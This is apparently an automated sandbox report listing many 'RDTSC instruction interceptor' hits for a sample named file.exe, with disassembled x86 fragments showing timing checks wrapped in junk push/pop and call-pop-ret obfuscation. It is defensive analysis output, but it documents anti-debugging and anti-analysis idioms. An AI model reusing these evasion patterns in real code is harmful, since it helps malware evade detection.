Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E451D second address: 7E459C instructions: 0x00000000 rdtsc 0x00000002 je 00007FECB125BFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b add dword ptr [esp], 406280F1h 0x00000012 or ecx, dword ptr [ebp+122D3813h] 0x00000018 and edx, 10B23574h 0x0000001e push 00000003h 0x00000020 mov edi, eax 0x00000022 push 00000000h 0x00000024 jl 00007FECB125BFC7h 0x0000002a clc 0x0000002b push 00000003h 0x0000002d mov esi, dword ptr [ebp+122D38A3h] 0x00000033 push 8475F3E0h 0x00000038 push esi 0x00000039 push edx 0x0000003a push esi 0x0000003b pop esi 0x0000003c pop edx 0x0000003d pop esi 0x0000003e add dword ptr [esp], 3B8A0C20h 0x00000045 mov dword ptr [ebp+122D2555h], eax 0x0000004b lea ebx, dword ptr [ebp+124563DBh] 0x00000051 push 00000000h 0x00000053 push eax 0x00000054 call 00007FECB125BFC8h 0x00000059 pop eax 0x0000005a mov dword ptr [esp+04h], eax 0x0000005e add dword ptr [esp+04h], 00000019h 0x00000066 inc eax 0x00000067 push eax 0x00000068 ret 0x00000069 pop eax 0x0000006a ret 0x0000006b mov ecx, edx 0x0000006d xchg eax, ebx 0x0000006e push eax 0x0000006f push edx 0x00000070 jnp 00007FECB125BFCCh 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E459C second address: 7E45A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E45A0 second address: 7E45AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FECB125BFC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E45AA second address: 7E45BC instructions: 0x00000000 rdtsc 0x00000002 jne 00007FECB0CC2D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4660 second address: 7E46ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jmp 00007FECB125BFCCh 0x0000000e mov eax, dword ptr [eax] 0x00000010 push ecx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FECB125BFCEh 0x00000019 popad 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f jmp 00007FECB125BFCBh 0x00000024 pop eax 0x00000025 jnc 00007FECB125BFD2h 0x0000002b je 00007FECB125BFCCh 0x00000031 mov edx, dword ptr [ebp+122D36CFh] 0x00000037 push 00000003h 0x00000039 xor edx, dword ptr [ebp+122D3963h] 0x0000003f push 00000000h 0x00000041 sbb si, AFE3h 0x00000046 push 00000003h 0x00000048 push 00000000h 0x0000004a push edi 0x0000004b call 00007FECB125BFC8h 0x00000050 pop edi 0x00000051 mov dword ptr [esp+04h], edi 0x00000055 add dword ptr [esp+04h], 0000001Dh 0x0000005d inc edi 0x0000005e push edi 0x0000005f ret 0x00000060 pop edi 0x00000061 ret 0x00000062 push AA5B6FECh 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E46ED second address: 7E4743 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jp 00007FECB0CC2D06h 0x0000000d pop eax 0x0000000e popad 0x0000000f add dword ptr [esp], 15A49014h 0x00000016 jmp 00007FECB0CC2D19h 0x0000001b push esi 0x0000001c or edx, dword ptr [ebp+122D36F3h] 0x00000022 pop ecx 0x00000023 lea ebx, dword ptr [ebp+124563E4h] 0x00000029 xchg eax, ebx 0x0000002a jno 00007FECB0CC2D0Eh 0x00000030 push eax 0x00000031 push esi 0x00000032 jg 00007FECB0CC2D0Ch 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E482D second address: 7E4855 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 je 00007FECB125BFE4h 0x0000000f pushad 0x00000010 jmp 00007FECB125BFD6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4908 second address: 7E490C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8039EA second address: 8039EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8039EE second address: 803A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jg 00007FECB0CC2D06h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 jnc 00007FECB0CC2D06h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803B7F second address: 803B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803B8A second address: 803B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803B8E second address: 803B92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803D22 second address: 803D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803D2C second address: 803D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803E84 second address: 803E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803E8B second address: 803E98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007FECB125BFC6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8042CD second address: 8042D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8045CF second address: 8045D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804736 second address: 80473B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80473B second address: 80474D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECB125BFCEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80474D second address: 804751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804751 second address: 80475F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FECB125BFCCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8048CF second address: 8048D5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804A3F second address: 804A43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804A43 second address: 804A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FECB0CC2D12h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804BC3 second address: 804BE7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FECB125BFD0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jo 00007FECB125BFC6h 0x00000012 jp 00007FECB125BFC6h 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804BE7 second address: 804BEC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804BEC second address: 804C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FECB125BFC6h 0x0000000f js 00007FECB125BFC6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F83EC second address: 7F83FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB0CC2D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F83FB second address: 7F8406 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FECB125BFC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8406 second address: 7F8422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECB0CC2D16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4519 second address: 7D4535 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB125BFCAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FECB125BFCEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4535 second address: 7D453A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804D5E second address: 804D62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804D62 second address: 804D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FECB0CC2D06h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804D70 second address: 804D92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007FECB125BFC6h 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007FECB125BFD1h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804D92 second address: 804DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007FECB0CC2D17h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805831 second address: 805837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805837 second address: 80583B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805AB1 second address: 805AEB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FECB125BFD2h 0x0000000c je 00007FECB125BFC6h 0x00000012 jmp 00007FECB125BFD9h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805AEB second address: 805AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8080EC second address: 8080F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FECB125BFC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806A38 second address: 806A51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FECB0CC2D0Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806A51 second address: 806A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807242 second address: 80724D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FECB0CC2D06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80835F second address: 808363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BCB9 second address: 80BCD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECB0CC2D16h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BCD3 second address: 80BCD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BCD7 second address: 80BCDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BCDD second address: 80BCE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D3A7 second address: 80D3AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D3AB second address: 80D3D3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FECB125BFC6h 0x00000008 jmp 00007FECB125BFD4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007FECB125BFCAh 0x00000015 pushad 0x00000016 popad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D3D3 second address: 80D3EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECB0CC2D11h 0x00000009 jbe 00007FECB0CC2D06h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D3EE second address: 80D3F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0F46 second address: 7D0F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 pushad 0x00000009 jmp 00007FECB0CC2D0Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0F61 second address: 7D0F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0F65 second address: 7D0F69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812925 second address: 812929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812929 second address: 812936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812936 second address: 81296A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECB125BFD9h 0x00000009 popad 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FECB125BFCDh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81296A second address: 812981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECB0CC2D11h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812981 second address: 812985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812AF3 second address: 812B01 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FECB0CC2D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81309E second address: 8130A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8130A6 second address: 8130C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FECB0CC2D16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8152CE second address: 8152D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8152D2 second address: 8152D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8152D6 second address: 81534E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 0E787B48h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FECB125BFC8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov edi, 7250A0D9h 0x0000002d call 00007FECB125BFC9h 0x00000032 jmp 00007FECB125BFD0h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a jns 00007FECB125BFC6h 0x00000040 pop eax 0x00000041 pop edx 0x00000042 mov eax, dword ptr [esp+04h] 0x00000046 jmp 00007FECB125BFD9h 0x0000004b mov eax, dword ptr [eax] 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 push edi 0x00000051 pop edi 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815623 second address: 815647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 jmp 00007FECB0CC2D11h 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007FECB0CC2D08h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815B29 second address: 815B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FECB125BFC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816518 second address: 81651D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81651D second address: 81656C instructions: 0x00000000 rdtsc 0x00000002 js 00007FECB125BFC8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FECB125BFC8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+122D39A3h] 0x0000002d jmp 00007FECB125BFCCh 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jo 00007FECB125BFCCh 0x0000003b jne 00007FECB125BFC6h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818991 second address: 818997 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AA79 second address: 81AA7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AA7D second address: 81AA81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AA81 second address: 81AA87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DC96D second address: 7DC993 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FECB0CC2D0Bh 0x0000000d jmp 00007FECB0CC2D13h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81CEDB second address: 81CEEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FECB125BFC6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81CEEE second address: 81CEF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E510 second address: 81E570 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FECB125BFC8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, dword ptr [ebp+122D57DCh] 0x00000015 mov si, ax 0x00000018 push 00000000h 0x0000001a xor edi, 03365BA4h 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007FECB125BFC8h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 00000016h 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c xor esi, dword ptr [ebp+122D368Bh] 0x00000042 xchg eax, ebx 0x00000043 push ecx 0x00000044 jc 00007FECB125BFC8h 0x0000004a pushad 0x0000004b popad 0x0000004c pop ecx 0x0000004d push eax 0x0000004e jc 00007FECB125BFD8h 0x00000054 push eax 0x00000055 push edx 0x00000056 jng 00007FECB125BFC6h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E570 second address: 81E574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81FF58 second address: 81FF67 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FECB125BFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81ED93 second address: 81ED9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FECB0CC2D06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8204D4 second address: 8204E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jns 00007FECB125BFC6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8205A3 second address: 8205A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8205A8 second address: 8205B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FECB125BFC6h 0x0000000a rdtsc
